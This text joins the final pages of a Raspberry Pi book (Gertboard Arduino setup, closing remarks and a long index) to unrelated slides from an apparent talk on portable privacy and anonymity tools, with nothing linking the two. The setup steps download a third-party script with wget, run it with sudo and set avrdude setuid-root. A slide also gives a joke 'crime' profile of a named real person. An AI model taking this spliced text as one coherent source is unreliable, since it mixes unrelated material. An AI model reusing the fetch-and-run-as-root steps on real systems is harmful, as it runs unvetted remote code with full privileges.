Pi and serves to extend the GPIO to the board. The markings above each Cobbler pin match each
corresponding GPIO pin on the Raspberry Pi.
Whew! Now that you have that out of the way, what can you actually do with the Pi Cobbler?
Well, look closely at the perimeter of the Cobbler—you should see markings that correspond to each
of the 26 pins of the Raspberry Pi GPIO.
You can easily repeat your initial LED experiment by inserting male-to-male (note that you need male
ends when your connection begins and ends on the breadboard) jumper straps in the same breadboard
row as the corresponding GPIO header.
The only change I make, as noted in Figure 20.11, is that I used a GPIO ground pin on the same side
of the breadboard as the power pin.
FIGURE 20.11 A replication of the earlier breadboarding experiment, this time by using the Pi
Cobbler breakout board
Programming the Atmel Microcontroller
That long, 28-pin DIP you see soldered in next to the left of the Gertboard logo on the PCB is none
other than an Atmel AVR ATmega328p microcontroller, the same chip that you experimented with in
the previous chapter.
Note: Subject to Parts Availability...
Take a moment to read the identification information on the surface of your Gertboard’s
Atmel chip. Gert states that due to parts availability, the Gertboard may be equipped with
either the ATmega 328 or 168.
This means you can perform Arduino experiments by compiling sketches on the Raspberry Pi and
sending them to the ATmega directly. Now then, recall that the Arduino operates at 5V, and the
Raspberry Pi operates at 3.3V. The upshot of this situation for our purposes is that the Gertboard’s
ATmega runs at a slower clock speed (12MHz instead of 16MHz).
Thus, if you plan to reuse some of your sketches from Chapter 19, “Raspberry Pi and Arduino,” you
need to adjust any references to +5V or you may very well fry the Gertboard’s ATmega chip. You
also may need to adjust the timing of your sketch code to account for the Gertboard’s slower clock
speed.
Task: Preparing Your Arduino Environment
I covered installing the Arduino IDE in Chapter 19. However, I want to give you the
complete procedure now in case you haven’t done any work with the Arduino UNO yet.
Perform the following tasks from a terminal prompt on your Raspberry Pi:
1. Start by downloading and installing the Arduino IDE:
Click here to view code image
sudo apt-get install -y arduino
2. Use AVRDUDE to help you upload your Arduino sketches to the AVR microcontroller
on the Gertboard.
Click here to view code image
cd /tmp
wget http://project-downloads.drogon.net/gertboard/avrdude_5.10-4_armhf.deb
sudo dpkg -i avrdude_5.10-4_armhf.deb
sudo chmod 4755 /usr/bin/avrdude
3. The bad news is that there are several steps involved in completing the Raspberry Pi-
Gertboard Arduino setup. The good news is that Gordon Henderson, a British computer
consultant with jaw-dropping expertise with the Raspberry Pi, Gertboard, and Arduino
environments, graciously created a script that automates these steps. Check out Gordon
online at http://is.gd/7SPmYJ.
Click here to view code image
cd /tmp
wget http://project-downloads.drogon.net/gertboard/setup.sh
chmod +x setup.sh
sudo ./setup.sh
4. After the script completes, you are prompted to reboot your Raspberry Pi. Do that.
5. Initialize the ATmega chip. Make sure your Gertboard is installed and attach the jumper
wires as shown in Figure 20.12.
FIGURE 20.12 The wiring diagram to initialize the ATmega chip on the Gertboard
6. Issue the “magic” initialization command:
avrsetup
You see the following output:
Click here to view code image
Initialising a new ATmega microcontroller for use with the Gertboard.
Make sure there is a new ATmega chip plugged in, and press
.. 1 for an ATmega328p or 2 for an ATmega168: 1
7. If you have the ATmega 328 on your Gertboard, type 1 and press Enter. (Type 2 if you
have the ATmega168.) If all goes well, you’ll see the following output:
Click here to view code image
Initialising an ATmega328p ...
Looks all OK - Happy ATmega programming!
8. You’re almost home-free. You just have a bit of configuration to do in the Arduino IDE
itself. First, fire up the IDE:
arduino
9. In the Arduino IDE, Click Tools, Board and select Gertboard with ATmega328(GPIO)
from the flyout menu.
10. Next, click Tools, Programmer and select the Raspberry Pi GPIO option.
To test functionality by using the built-in Blink sketch, you first need to attach a jumper
strap from location PB5 on the left side of the Gertboard to one of the buffered LED
outputs. (I use BUF6 as a matter of practice.)
After you’ve connected the wire, go back to the Arduino IDE and click File, Examples,
01.Basics, Blink, and then click the Upload button (or click File, Upload using
Programmer) to send the sketch to the ATmega chip.
You should see the BUF6 LED begin to blink slowly.
Final Thoughts, and Thank You
Well, congratulations! You’ve reached the end of this book. We’ve certainly come a long way,
haven’t we?
By way of a take-home message, I encourage you to stay current with all things Raspberry Pi-related
by plugging into and participating in the community. The most direct entry points into the Raspberry
Pi community are as follows:
Official Raspberry Pi Community Forum: http://is.gd/6nBR5Z
Google+ Raspberry Pi Forum: http://is.gd/jGajWj
Stack Exchange: Raspberry Pi: http://is.gd/hWh8EK
RPi Community Links at eLinux.org: http://is.gd/sN9O4g
If you completed even the majority of tasks in this volume, then you have an excellent grasp of the
fundamentals of hardware and software hacking. Should you have any questions, or if you want to
share your experiences all the way, I’m all ears. You can reach me directly at
[email protected].
Thank you so very much for purchasing this book and for learning more about the Raspberry Pi. It is
people like you who keep information technology relevant and growing over time.
Happy hacking!
Index
A
Accessories command (LXDE main menu), 93
Acorn BBC Micro personal computer, 7-8
Acorn RISC Machines (ARM) processors, 8
add-ons, media centers, installing, 197-198
addresses, static IP, setting, 106
advanced options, Raspo-Config utility, 84
AlaMode (Arduino), 324-325, 332-335
Amtel microcontroller, programming with, 354-357
analog versus digital signals, 317
analogWrite() function, 331
Android Device, 2
Apache, 235
APIs (application programming interfaces), 10, 221-226
Apple OS X, 49
Application Launch Bar (LXDE), 92
application layer (OS), 48
applications
creating, 129-132
Dogeball Challenge, 137-149
Pi Store, downloading, 97
Python, writing, 158-160
remixing, 151
uploading, 149-151
writing simple, 168-170
XBMC, 181
apt-get parameters, 313
Arch Linux ARM, 54
Arduino, 315, 317-319
AlaMode, 324-325, 332-335
connecting, 321-323
connecting, 321-323
development workflow, 323-332
Esplora, 316
IDE, 323-332, 355-357
LEDs, fading, 330-331
LilyPad, 315-316
Mega 2560, 316
microcontrollers, 10-11, 14
PAPERduino, 315
Playground, 321
shields, 317
starter kits, 319
Uno, 315-321
ARM11 processors, 8, 20
ARM (Acorn RISC Machines) processors, 8
Atari 2600 Video Computer System (VCS), 199
Atmel ATmega 328P AVR microcontroller (Gertboard), 339
Atmel RISC chip, 10
audio
HDMI cables, 26
Model B boards, 27-29
Audio Book Player, 2
autoclean parameter, 313
Automated Chicken Coop Door, 2
autoremove parameter, 313
B
Bald Wisdom blog, 324
Banzi, Massimo, 315
BASIC programming, 7
batteries, webcams, adding to, 273-274
BBC Micro personal computers, 7-8, 12
BeagleBone, 40-41
benchmarking, 305-307
bilaterally symmetric breadboards, 35
binary large object (BLOB) driver, 15
bin directory, 70
black boxes, 9, 17
Blendtec, 181
BLOB (binary large object) driver, 15
blocks
Scratch, 127-129
unlinking, 131
Blocks palette (Scratch), 125, 127
Blum, Richard, 154
boards
audio, 27-29
breadboards, 34-35
breakout, 36
daughterboards, 38-39
Gertboards, 38-39
networking, 27
single-board microcontrollers, 37-38
video, 27-29
Boolean blocks, 129
Boolean data type (Python), 172
boot behavior, adjusting, Raspi-Config, 88
boot directory, 70
boot partition contents, 310
breadboarding, 350-354
breadboards, 34-35
breakout boards, 36
Bresnahan, Christine, 154
bridges, 35
Broadcom BCM2835 system-on-a-chip, 10
Broadcom VideoCore IV GPU, 179
browsers, 289
browsing Internet, proxy servers, 278-280
bs command, 60-63
building Minecraft servers, 226-231
bus strips, 35
BYTEmark (nbench) benchmark, 307
Bytes data type (Python), 172
C
cables, 25-26
Ethernet, 24-25
ribbon, 35
camera
enabling, 82
Model B board, 30
Camera Board, 253-256, 259
capturing still pictures, 259-263
installing, 256-258
interface, 254
recording video, 263-266
specifications, 255
Camera Serial Interface (CSI) connectors, 30
Campidoglio, Enrico, 302
CanaKit Raspberry Pi Complete Starter Kit, 44
capacitors, PCBs (printed circuit boards), 17
Cap blocks, 129
Cartesian coordinate system, 130
cases, 32
C blocks, 129
cd command, 63, 72-73
Cheese-Powered Radio-Controlled Car, 1
chipsets, 31
Chrome web browser, 289
Chromium web browser, 120
Chun, Wesley, 178
circuit prototyping equipment, 34-37
classes, 221
classes, SD cards, 23
class libraries, 221
clients, Hamachi, installing, 284-285
codecs, XBMC, 181
command prompt, Raspbian, 67-69
commands
bs, 60-63
cd, 63, 72-73
cp, 77
dd, 60-62
if, 60-63
ifconfig, 104-105
Is, 71-72
LXDE main menu, 93
man, 75-76
mkdir, 77
mv, 77
nano, 74-75
of, 60-63
passwd, 74, 81
pwd, 70-73
Raspi-Config, 80-85
rm, 77
rmdir, 77
shutdown, 76-77
startx, 69
sudo, 60-62, 73-74
Terminal, 69-77
community
Raspberry Pi, 357
Scratch, 123-124
computer science, 9
concatenation, Python, 173
configuration
Arduino IDE, 324-327
GPIO-based IR receivers, 190-192
headless (q) Raspberry Pi, 110-117
Joomla, 245-248
LXDE UI, 98-102
phpMyAdmin, 243-245
Raspbmc, 184-185
RetroPie, 201-202, 208-209
SimpleCV vision library, 274-276
third-party USB webcams, 267-274
web servers, 240
wired Ethernet, 104-107
wireless Ethernet, 107-110
XBMC, media detection, 194-196
connecting Arduino
Arduino, 321-323
Gertboard, 341-343
connectors
CSI connectors, 30
RCA, 28
versus ports, 25
console video game emulation, RetroPie, 199-200
configuring, 201-202
installing, 200-202
joysticks, 208-209, 212-215
playing games, 209-210
setting up controls, 206-207
transferring ROMs to, 203-206
content, web servers, transferring to, 240-243
Control blocks (Scratch), 127
controls, RetroPie, setting up, 206-207
cp command, 77
CPUs (central processing units)
ARM11, 8
verifying status, 303
CPU Usage Monitor icon (LXDE), 92
CPU/GPU memory splits, adjusting, 307-311
CraftBukkit, 227
CrazyWorms2, 97
Creative Commons, 151
Creative mode (Minecraft), 218
cron utility, 271
CSI (Camera Serial Interface) connectors, 30
Cyberduck, 204
D
data processing tasks, personal computers, 9
data types, Python, 172
daughterboards, 38-39
Dawson, Anne, 163
dd command, 60-62
Debian, 52
Debian Linux
command prompt, 67-69
GUI. See GUI (graphical user interface)
Raspi-Config utility, 80-85
Terminal, 68-77
updating software, 77-80
Debian Reference icon (LXDE), 89
debugging Dodgeball Challenge, 147-149
dedicated audio, HDMI cables, 26
default gateways, 106
deleting software, 94-95
desktop
changing background, 98
enabling boot to, 82
LXDE (Linux X11 Desktop Environment), 87-94, 98-102
desoldering braids, 43
dev directory, 70
development workflow, Arduino, 323-332
DeviantArt Picture Frame, 1
DHCP (Dynamic Host Configuration Protocol), 104
dialog boxes
Import Background, 130
Internet Properties, 289
Panel Preferences, 100
Dictionaries data type (Python), 172
Digital Clock icon (LXDE), 92
digital multimeters, 41-43
digital versus analog signals, 317
Digital Video Interface (DVI-D), 27
digitalWrite() function, 329
diodes, PCBs (printed circuit boards), 18
directories, 70-71
discussion forums, 102
displays, 25
Display Serial Interface (DSI), 28
Dive into Python 3, 178
DIY Arduino, 319
Dodgeball Challenge, 137-138
building, 139-149
debugging, 147-149
setting up screens, 140-143
troubleshooting, 147-149
uploading, 149-151
dongles, 108
Doom, 217
downloading apps, Pi Store, 97
drivers, 15, 48
DSI (Display Serial Interface), 28
DVI-D (Digital Video Interface), 27
Dynamic Host Configuration Protocol (DHCP), 104
E
Eames, Alex, 344
Education command (LXDE main menu), 93
electrostatic discharge (ESD), 27
emulation, 200
Emulation Station, 200-202
encoding raspivid video files, 265-266
ESD (electrostatic discharge), 27
Esplora, 316
Esplora (Arduino), 316
ES-Scraper, installing, 211-212
etc directory, 70
Ethernet, 103
configuring wired, 104-107
configuring wireless, 107-110
Ethernet cable, 24-25
Ethernet Shield, 318
exiting LXDE, 88
expansion, Model B board, 31-32
F
Fedora Remix, 54
file extensions, Windows, showing in, 206
file system, expanding, 81
FileZilla, 204, 241-242
Firefox web browser, 289
firmware, Linux, 53
FM Radio Transmitter, 1
forked distributions, 52
forums, 102, 357
FTP (File Transfer Protocol), installing and testing, 243
functions, 329-331
G
Gaddis, Tony, 178
gamepads versus joysticks, 212
games. See Minecraft; Minecraft Pi; RetroPie
game screens, setting up, 140-143
gateways, VPN, building, 280-285
General Purpose Input/Output (GPIO) pinout (Gertboard), 339-341
-based IR receivers, configuring, 190-192
interface, 31-32
lighting LED directly from, 351-352
module, loading in Python, 176-177
pins, 35, 350-351
schematic, 215
Gertboard, 38-39, 337-339
Amtel microcontroller, programming with, 354-357
breadboarding, 350-354
connecting, 341-343
GPIO pinout. See General Purpose Input/Output (GPIO) pinout
input/output (I/O), testing, 349-350
installing and testing software, 343-346
LEDs, testing, 346-349
Git, 311
Gnash player, 119
GNOME Linux GUI, 88
GNU General Public License, 15
GNU (GNU’s Not Unix), 15
GPIO pinout. See General Purpose Input/Output (GPIO) pinout (Gertboard)
GPU/CPU memory splits, adjusting, 307-311
Gralla, Preston, 234
Graphics command (LXDE main menu), 93
GSM Shield, 318
GtkPerf benchmarking utility, 305
GUI (graphical user Interface)
accessing Pi Store, 95-97
configuring, 98-102
installing, updating and removing software, 94-95
LXDE, 87-94
Raspbian, 87
H
Hamachi clients, installing, 284-285
Hamachi VPNs, building, 280-284
HardInfo benchmarking utility, 305
hardware
cables, 24-26
circuit prototyping equipment, 34-37
digital multimeters, 41-43
Gertboards, 38-39
Model B board, 27-31
monitors, 25
open source, 14-16
power supply, 21-23
printed circuit boards (PCBs), 17-20
Secure Digital (SD) card, 23-24
single-board computers, 40-41
single-board microcontrollers, 37-38
starter kits, 43-45
USB hubs, 24
USB keyboards and mice, 26-27
hardware layer (OS), 48
Hat blocks, 128
HDMI (High Definition Multimedia Interface) cables, 26
HDMI (High Definition Multimedia Interface) ports, 27
“headless” Raspberry Pi, configuring, 110-117
hidden costs, 20-27
home directory, 70
Hostname option (Raspi-Config), 84
How the Internet Works, 234
HTTP servers, 233
Hypertext Pre Processor (PHP), 235
I
icons, LXDE, 89-92
ICs (integrated circuits), 18
IDLE 3 icon (LXDE), 90
IDLE icon (LXDE), 90
IDLE (Integrated DeveLopment Enviroment), Python, 154-156, 165-168
if command, 60, 63
ifconfig command, 104-105
Import Background dialog box, 130
input, 9
input/output (I/O), Gertboardtesting, 349-350
installation
Arduino IDE, 324-327
Camera Board, 256-258
ES-Scraper, 211-212
FTP, 243
Hamachi clients, 284-285
Java, 227-230
Joomla, 246
LAMP stack, 236
media center add-ons, 197-198
Minecraft Pi, 219-221
nbench, 306-307
operating systems, 63-65
phpMyAdmin, 244
Raspbmc, 182-184
RetroPie, 200-202
software, 94-95
web servers, 235-240
integrated circuits (ICs), 18
internationalization options, Raspi-Config utility, 82
Internet command (LXDE main menu), 93
Internet connections, encrypting, 277-278
Internet Properties dialog box, 289
Internet Protocol (IP), 103
interpreter, Python 3, interacting with, 156-158
I/O (input/output), Gertboard, testing, 349-350
IP (Internet Protocol), 103
Is command, 71-72
J-K
jacks, 25
Java, installing, 227-230
joystick control mappings, RetroPie, configuring, 208-209
joysticks, 212-215
jumper wires, 35
KDE Linux GUI, 88
kernel, Linux, 53
keyboards, USB, 26-27
key words, Python, 171
KindleBerry Pi, 1
L
L6203 motor controller (Gertboard), 339
LAMP stack, 234-236
layers, operating systems, 48
Learning Python, 163
LEDs (light emitting diodes), 29-30
fading, Arduino, 330-331
Gertboard, testing, 346-349
GPIO, lighting directly from, 351-352
lib directory, 70
LibreOffice, 51
licenses, open source, 15
light emitting diodes (LEDs), 29-30
LilyPad (Arduino), 315-316
LinApple Apple II emulator, 206
Linux, 49-52, 235
Arch Linux ARM, 54
disadvantages, 51
Fedora Remix, 54
firmware, 53
Occidentalis, 54
Raspbian. See Raspbian
Red Hat, 49
runlevels, 312
Ubuntu, 49-50
Lists data type (Python), 172
Logitech Rumblepad 2 joystick, 212
Logout command (LXDE main menu), 94
Logout icon (LXDE), 92
Looks blocks (Scratch), 127
loop() function, 329
lost+found directory, 70
Lutz, Rick, 163
LXDE (Linux X11 Desktop Environment), 68, 87-94
configuring, 98-102
icons, 89-92
main menu, 92-94
starting and exiting, 88
LXPanel, customizing, 100
LXPanel icon (LXDE), 92
LXTerminal, customizing, 99
LXTerminal icon (LXDE), 90
M
Main Menu icon (LXDE), 91
main menu (LXDE), 92-94
Maker Shed Raspberry Pi Starter Kit, 44
man command, 75-76
manually adjusting memory splits, 309-311
manual method, overclocking, 304
Marriott, Jennifer, 246
MCP3002 Digital-to-Analog (D2A) converter (Gertboard), 339
MCP4801 Analog-to-Digital (A2D) converter (Gertboard), 339
media centers
add-ons, installing, 197-198
Raspbmc. See Raspbmc
scraping media, 194-196
XBMC, 179-181, 196-197
Media Companion, 195
media detection, XBMC, configuring, 194-196
media directory, 70
media scrapers, XBMC, 181
Mega 2560 (Arduino), 316
Memory Split option (Raspi-Config), 84
memory splits, adjusting, 307-311
Menu Bar (Scratch), 125
mice, USB, 26-27
microcomputers, Arduino, 14
microcontrollers
Raspberry Pi-compatible, 11
single-board, 37-38
versus personal computers, 9-11
Microsoft Office, 51
Micro USB power ports, 29
Midori icon (LXDE), 89-91
Midori web browser, 118-120
Minecraft, 217-219
building servers, 226-231
game modes, 218
learning to play, 218
platforms, 219
plugins, 232
popularity, 218-219
Minecraft Pi
accessing API, 221-226
installing, 219-221
Minimize All icon (LXDE), 91
mkdir command, 77
mnt directory, 70
Model B board, 27
audio, 27-29
camera, 30
expansion, 31-32
networking, 27
power/status information, 29-30
processing, 31
storage, 29
video, 27-29
models, 11-14
modes
Minecraft, 218
overclocking, 302
ModMyPi cases, 32
modules, Python, 173-177
monitors, 25
motherboards. See boards
Motion blocks (Scratch), 127
multimeters, 41-43
mv command, 77
MySQL, 235, 239
N
nano command, 74-75
Nazarko, Sam, 182
nbench utility, 305-307
NES (Nintendo Entertainment System), 199
networking, 103-104
Ethernet, 103-110
headless Raspberry Pi, configuring, 110-117
Model B board, 27
virtual private networks (VPNs)
building gateways, 280-285
encrypting Internet connections, 277-278
New Out Of Box Software (NOOBS), 63-65
NICs (network interface cards), 47
Nintendo Entertainment System (NES), 199
nodes (Tor), 295
NOOBS (New Out Of Box Software), 63-65
Numbers data type (Python), 172
O
O’Brien, Stephen, 218
Occidentalis, 54
OCR Resources icon (LXDE), 90
of command, 60, 63
Office, 51
Office command (LXDE main menu), 93
Official Joomla! Book, The, 246
Openbox Configuartion Manager, 100-101
OpenELEC, 54, 179
OpenOffice, 51
open source, 14-16
operating systems, 47-49, 54
Arch Linux ARM, 54
Fedora Remix, 54
installing, 63-65
layers, 48
Linux, 49-53
Occidentalis, 54
OpenELEC, 54
Raspbian. See Raspbian
RaspBMC, 54
RISC OS, 54
Operators blocks (Scratch), 127
Opera web browser, 289
opt directory, 71
Osborn, Kevin, 324
OS layer, 48
Other command (LXDE main menu), 93
output, 9
overclocking, 83, 299-300
manual method, 304
modes, 302
Raspi-Config method, 302-303
warranty implications, 300-301
Overscan option (Raspi-Config), 84
P
Panel Preferences dialog box, 100
PAPERduino, 315
parameters, apt-get, 313
passwd command, 74, 81
passwords, changing, 81
PCBs (printed circuit boards), 17-20
PCManFM icon (LXDE), 91
Pen blocks (Scratch), 127
PEP (Python Enhancement Proposal), 163
peripheral devices, 33
circuit prototyping equipment, 34-37
digital multimeters, 41-43
Gertboards, 38-39
single-board computers, 40-41
single-board microcontrollers, 37-38
starter kits, 43-45
Persson, Markkus PNotchN, 217
PetRockBlog RetroPie GPIO Adapter, 214
PHP (Hypertext Pre Processor), 235-238
phpMyAdmin, configuring, 243-245
Picade Arcade Cabinet, 1
Pi Cobbler board, 36
PicoBoard, 132-136
pictures, capturing, Camera Board, 259-263
Pi Hut cases, 32
Pi in the Sky, 1
Pilgrim, Mark, 178
pinMode() function, 329
Pi-Powered Bitcoin Miner, 1
Pi-Powered Motion Detector, 1
Pi-Powered Weather Station, 2
Pi Store
accessing, 95-97
downloading apps, 97
Pi Store icon (LXDE), 89
platforms, Minecraft, 219
Playground (Arduino), 321
playing content, XBMC, 196-197
playing games, RetroPie, 209-210
plugins
Minecraft servers, 232
XBMC, 181
plugs, 25
ports, 25-29
power/status information, Model B board, 29-30
power supply, 21-23
Practical Guide to Linux Commands, Editors, and Shell Programming, A, 74
Preferences command (LXDE main menu), 94
printed circuit boards (PCBs), 17-20
Privoxy
installing and configuring, 286-287
testing configuration, 287-291
proc directory, 71
processing, 9
processing, Model B board, 31
programming
Amtel microcontroller, 354-357
Python. See Python
Scratch. See Scratch
Programming Arduino: Getting Started with Sketches, 327
Programming command (LXDE main menu), 93
projects
Dodgeball Challenge, 137-149
remixing, 151
uploading, 149-151
Projects website, Scratch, 126
protocols
SSH (Secure Shell), 112-114
VNC (Virtual Networking Computing), 110-117
stacks, LAMP, 234
Proto Shield, 318
prototyping, 34-37
proxy servers
browsing Internet, 278-280
building, 286-287
pointing workstation computers at, 289-291
Tor, building, 294-297
pwd command, 70-73
Python, 121, 153-154, 165, 171-178
concatenation, 173
data types, 172
IDLE, 154-156, 165-168
interacting with interpreter, 156-158
keywords, 171
modules, 173-177
programs, writing, 158-160, 168-170
running scripts, 161-162
sample code repositories, 163
type casting, 171-173
variables, 171
Python API, Minecraft, accessing, 221-226
Python Enhancement Proposal (PEP), 163
Python Fundamentals LiveLessons, 178
Python Games icon (LXDE), 90
Python programming language, 9
Python test suite, installing and testing, 344-346
Python Tutorial, 178
Q-R
Quake III Arena timedemo, 305
Raspberry Pi, 7
benefits, 8-9
configuring headless, 110-117
hidden costs, 20-27
models, 11-14
naming of, 9
open source, 14-16
orgins, 7
purchasing, 16
Raspberry Pi Enhanced Bundle, 44
Raspberry Pi Foundation, 7
Raspberry Pi Keyboard Computer, 1
Raspberry Pi Media Center, 182
Raspberry Pi Robot, 1
Raspbian, 52, 55-57, 200
command prompt, 67-69
GUI. See GUI (graphical user interface)
Raspi-Config utility, 80-85
SD cards, 55-63
Terminal, 68-77
testing image, 65
updating software, 77-80
XBMC media center, 180-181
Raspbmc, 54, 179, 182-185
configuring, 184-185
controlling from web browser, 189
installing, 182-184
installing add-ons, 197-198
remote controls, 186-192
requirements, 182
scraping media, 194-196
transferring content to PI, 192-193
Raspi-Config utility, 80-85
adjusting boot behavior, 88
adjusting memory splits, 308
advanced options, 84
internationalization options, 82
overclocking, 302-303
raspistill, capturing still pictures, 259-262
raspivid, 259, 263-266
RasPlex, 179
Rastrack database, 83, 292-294
RCA connectors, 28
RCA video cables, 26
rechargeable batteries, webcams, adding to, 273-274
recording video, Camera Board, 263-266
Red Hat Linux, 49
Reduced Instruction Set Computing (RISC) processing architecture, 8
Relay Shield, 318
remixed distributions, 52
remixing projects, 151
remote controls, Rasspbmc-compliant, 186-192
remotely connecting to Raspberry Pi, 110-117
Reporter blocks, 129
resistors, PCBs (printed circuit boards), 17
RetroArch, 200
retroarch.cfg file, 207
RetroPie, 199-200
configuring, 201-202
ES-Scraper, installing, 211-212
installing, 200-202
joystick control mappings, configuring, 208-209
joysticks, 212-215
playing games, 209-210
SD card image, 200
setting up controls, 206-207
transferring ROMs to, 203-206
RetroZone, USB adapters, 213
ribbon cables, 35
RISC OS, 54
RISC (Reduced Instruction Set Computing) processing architecture, 8
RJ-45 Ethernet jacks, 24-25
RJ-45 Ethernet interface, 27
rm command, 77
rmdir command, 77
ROM (read-only memory), RetroPie, transferring to, 203-206
root directory, 71
Rossum, Guido van, 154
RPi.GPIO library, 344
rpix86 DOS 5.0 emulator, 206
Run command (LXDE main menu), 94
run directory, 71
runlevels, Linux, 312
S
Safari web browser, 289
sample code repositories, Python, 163
Sams Teach Yourself Python Programming for Raspberry Pi, 154
sbin directory, 71
scraping media, 194-196
Scratch, 122-124, 137-138
applications, creating, 129-132
blocks, 127-129, 131
Cat, setting up, 143-144
community, 123-124
Dodgeball Challenge, 137-149
PicoBoard, 132-136
Projects website, 126
remixing projects, 151
uploading projects, 149-151
user interface, 124-129
versions, 122-123
Scratch Cat, 130
Scratch icon (LXDE), 89
Scratch programming language, 121
Screenlock icon (LXDE), 92
Scripts Area (Scratch), 125
scripts, Python, running, 161-162
SD (Secure Digital) cards, 23-24, 55-56
SD card slots, 29
SDHC (Secure Digital High Capacity) cards, 24
SDXC (Secure Digital eXtended Capacity) cards, 24
Secure Shell (SSH), 110-114
security and privacy device, 277
browsing via proxy server, 278-280
building proxy servers, 286-287
Privoxy, 287-291
proxy servers, Tor, 294-297
Rastrack, 292-294
virtual private networks, building gateways, 280-285
virtual private networks (VPNs), encrypting Internet, 277-278
selinux directory, 71
Sensing blocks (Scratch), 127
Serial Peripheral Interface (SPI), enabling, 344-345
Server Outdated, 229
servers
Minecraft, 226-232
proxy. See proxy servers
web. See web servers
Sets data type (Python), 172
setup() function, 329
SFTP, transferring content to web servers, 241
sharing projects, 149-151
shields (Arduino), 317
shutdown command, 76-77
SimpleCV vision library, 274-276
single-board computers, 40-41
single-board microcontrollers, 37-38
SMSC LAN9512 Ethernet controller, 21
Sobell, Mark, 74
software
installing, updating and removing, 94-95
open source, 14-16
updating, 77-80
soldering irons, 42
Sound blocks (Scratch), 127
Sound & Video command (LXDE main menu), 93
Spigot, 227
SPI (Serial Peripheral Interface), enabling, 344-345
Sprite Header Pane (Scratch), 125
Sprites Pane (Scratch), 125
srv directory, 71
SSH option (Raspi-Config), 84
SSH (Secure Shell), 112-114
Stack blocks, 129
Stage (Scratch), 125
starter kits, 43-45
starter kits, Arduino, 319
starting LXDE, 88
Starting Out with Python, 178
startx command, 69
static IP addresses, setting, 106
still pictures, capturing, Camera Board, 259-263
storage, Model B board, 29
Streaming Music Jukebox, 1
Strings data type (Python), 172
Stuff About Code website, 252
“Style Guide for Python Code,” 163
subnet masks, 103
sudo command, 60-62, 73-74
Super Mario Brothers, 210, 217
Survival mode (Minecraft), 218
sys directory, 71
System Tools command (LXDE main menu), 93
sysv-rc-conf utility, 311-312
T
temperature, verifying status, 303
Terminal
commands, 69-77
starting sessions, 68-69
updating software, 77-80
terminal strips, breadboards, 35
testing
FTP, 243
voltage, 41
third-party USB webcams, 266
configuring, 267-274
SimpleCV vision library, 274-276
time-lapse webcams, setting up, 270-272
tmp directory, 71
tools
multimeters, 41-43
soldering irons, 42
Tor proxy servers, building, 294-297
Tor routers, 295
Torvalds, Linus, 49
traces, PCBs (printed circuit boards), 17
transistors, PCBs, 18
troubleshooting Dodgeball Challenge, 147-149
Tuples data type (Python), 172
typecasting Python, 171-173
U
Ubuntu Linux, 49-50
UI (user interface) Scratch, 124-129
ULN2803a open collector drivers (Gertboard), 339
Ultimate Player’s Guide to Minecraft, The, 218
unlinking blocks, Scratch, 131
Uno (Arduino), 315-321
Update option (Raspi-Config), 84
updating software, 77-80, 94-95
uploading
media content, 192-193
projects, 149-151
Upton, Eben, 7, 16
USB hubs, 24
USB keyboards, 26-27
USB mice, 26-27
USB webcams, 266, 274-276
Useful Modules list (Python Wiki), 175
user layer (OS), 48
user passwords, changing, 81
usr directory, 71
V
van Loo, Gert, 38, 337
var directory, 71
variables, 128, 171
Variables blocks (Scratch), 127
versions, Scratch, 122-123
VGA (Video Graphics Array) ports, 28
vias, PCBs (printed circuit boards), 17
video
Model B boards, 27-29
recording, Camera Board, 263-266
VideoCore graphics processing unit (GPU), 15
video game emulation, RetroPie, 199-200
configuring, 201-202
configuring joystick control mappings, 208-209
installing, 200-202
installing ES-Scraper, 211-212
joysticks, 212-215
playing games, 209-210
setting up controls, 206-207
transferring ROMs to, 203-206
Video Graphics Array (VGA) ports, 28
Virtual Desktops icon (LXDE), 91
Virtual Networking Computing (VNC), 110-117
virtual private networks. See VPNs
VNC (Virtual Networking Computing), 110-117
voltage
testing, 41
verifying status, 303
VPNs (virtual private networks)
building gateways, 280-285
encrypting Internet connections, 277-278
W
Walmsley, Ryan, 292
Waring, Elin, 246
warranty implications, overclocking, 300-301
web browsers, 289
Chromium, 120
Midori, 118-119
webcams
adding rechargeable batteries to, 273-274
Camera Board. See Camera Board
setting up, 269
SimpleCV vision library, 274-276
third-party USB, 266-274
time-lapse, setting up, 270-272
web pages, 233
web servers, 233-234
configuring, 240
content, 233, 240-243
installing, 235-240
Joomla, setting up, 245-248
LAMP stack, 234-236
phpMyAdmin, configuring, 243-245
placing on public Internet, 249-252
WiFi Config icon (LXDE), 89
Wi-Fi Shield, 318
Windows, showing file extensions, 206
wired Ethernet, configuring, 104-107
wireless Ethernet, configuring, 107-110
WiringPi library, 344
workstation computers, pointing at proxy servers, 289-291
X-Z
Xbian, 179
XBMC, 179-181
applications, 181
codecs, 181
configuring media detection, 194-196
installing add-ons, 197-198
media scrapers, 181
playing contents, 196-197
plugins, 181
scraping media, 194-196
XBMC Media Center, 181
XFCE Linux GUI, 88
“Zen of Python, The”, 163
Zeroconf (Zero-Configuration Networking), 186-187 | pdf |
Portable Privacy
Portable Privacy
2006: Darfur, Sudan
1989: Beijing, China
2005: United States of America
Portable Privacy
Alias: LadyAda
Name: Limor Fried
Crime: Felony Assault w/ Banana
Location: New York, NY
Hangouts: Adafruit Industries
Notes: Gang member of cow
worshipping death cult
Last Seen: In the Company of
Kevin Rose
Portable Privacy
3 Golden Principles
● Portability
● Elegance
● Trustworthiness
Portable Privacy
Portability
● Run Locally
● Run Remotely
Portable Privacy
Trustworthiness
● Bypassed by Trust
● Source Code
● License
● Fail Securely
● Imputed Protection
Portable Privacy
Elegance (HCI and Beyond)
Who Cares?
Everyone
Portable Privacy
Elegance (HCI and Beyond)
● Appealing
● Intuitive
● Easy to Use
● Self – Contained
● Informative Status
● Transparency
Portable Privacy
Digital Risk Vectors
● Communications
● Data Storage
● Transactions
● Computing Environment
Portable Privacy
Communications
● General
● Web Browsing
● Email
● Chat / Messaging
● VoIP
Portable Privacy
General
● Janus VM
● xB VPN
Portable Privacy
Web Browsing
● Anonymizer
● xB Browser
- Tor Network
- XeroBank Network
● OperaTor
● Honorable Mentions
● Dishonorable Mentions
Portable Privacy
Email Clients
● Thunderbird Portable
● MobilityEmail
● xB Mail
Portable Privacy
Messaging
● IRC
● Scatterchat
● Psi
● Miranda + OTR
● Pidgin + OTR
Portable Privacy
VoIP
● Portable Skype
● myJabber
● Vonage USB
Portable Privacy
Data Storage
Portable Privacy
Transactions
● Risky Digital Currencies
● Anonymous Currencies
- Loom
- eCache
Portable Privacy
Computing Environments
● RockAte LiveCD
● Incognito LiveCD
● xB Machine
Portable Privacy
xB Machine
● Runs on VMWare & QEMU
